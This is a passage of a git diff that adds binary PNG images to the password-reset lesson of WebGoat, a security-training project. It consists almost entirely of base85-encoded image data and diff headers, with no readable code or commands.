zAMHv`Xo~e?-k~6x$nCR~ESgLPYBdL`yPK^B_LG^d^3`@h4rQWQ2bysxan~bfUS10( z>D}ZKjhbVD(w(AX`MxYDeU(gBar4IOd3IJg7^MpuQ5fX}BEixTsg|=66|77;z0{ck zL9|#gDdl_-1)(Ua3xoqYazk0I@tp4jaOmeB~Shc72+T?g|VuN2P7=wVOi0`Jk zL%fG}tAb$NQBTk-fhOPyc$n$Yaaj~h(?z1B>>7}mvb3xh;3lNRoqmv)A`?*GBCxrq zeCG;md6un(cdT)WG&}HfKWium_x(J&XrpD{-e+QY2tZXR-NsYg)d)TqGBQEZYjbLCOoCNl+Gl*wMsx7~87i^V1N( zG!&zn__aTo8sSFL>HfZka@1a?Jp6u+?ZPkCY6*- zer#R$Dea3L?VhZYoc3&+a+X0wxq$tv;?NC0^ zCE@m~&N4eyq+zpwQj;n@cJ75(AH8oCrLx(0v(&EI4EaRAME`j_-@eCLsWz&9^0nL9 zDqi@a&i;?}cRG43EHPP35Ci|+n*FV+uD9{#>>T-d6H{Z)jC_ihzNj2zCpsOiI|2>J z_TEI_{9oJ$+QVNspIg{Ure0;{k-se_bzdpH4+~F#(;fuO8k03ln{-)Q)&mEBtMpi) z8U>Ws4m&ENz6FY5!{Lw*fS<>9$2d8*Az`r316d&J&}hqxkIcd3>9zSY#51o@5ff;^ zC6s{)W`J#-MS9bu+QFxPJZ+76aU^|-96hjR?PDvSlIY8ULKj{&yj;0=^0aC*U|2-(Cb@AF+Zv@?EBVxBc1A={4t;2a z+?)1PBA@@*RJWCHpj7r|SR~!XjMA>T(m0$^zARWiY+qY9h1>|8sd^Cn$}XzmWnC!L z_0UR1C0US?Wk7$?DB^B{#zEEZwJ8X&MTs+uX6fJN;>=Xi!yw0|i0kg`2HU>S^oLJK-0Qq;2 z+P@D@{u9=@gMW{%37@5z<6^Snc))c3udde__qrZaNzMwCF0bqPxvNm=@jI6KLewUi zeg=*4yr+yVSz7qu=T^@j7-xDtXd+JVHt-^~<++(BO`FQM0@csca6B2BZCov{As5p& z7ucmgVwL)9Qc1k@iWB8qg^#KN`Z)tl+v`Jbx7C&rTid5kh$EcE7yh8ax9oqHWck0b z_f*{Z|Dor9qSXKXb^kB@aG+hAMD335^c?{-94-_db|&v&ccr!+>PZ?c4PEt$hp*rL E2como^#A|> literal 0 HcmV?d00001 diff --git a/webgoat-lessons/password-reset/src/main/resources/images/slack2.png b/webgoat-lessons/password-reset/src/main/resources/images/slack2.png new file mode 100644 index 0000000000000000000000000000000000000000..1102b42112ea748ff1d1f5b0fe5fe543ec1edbbf GIT binary patch literal 24086 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

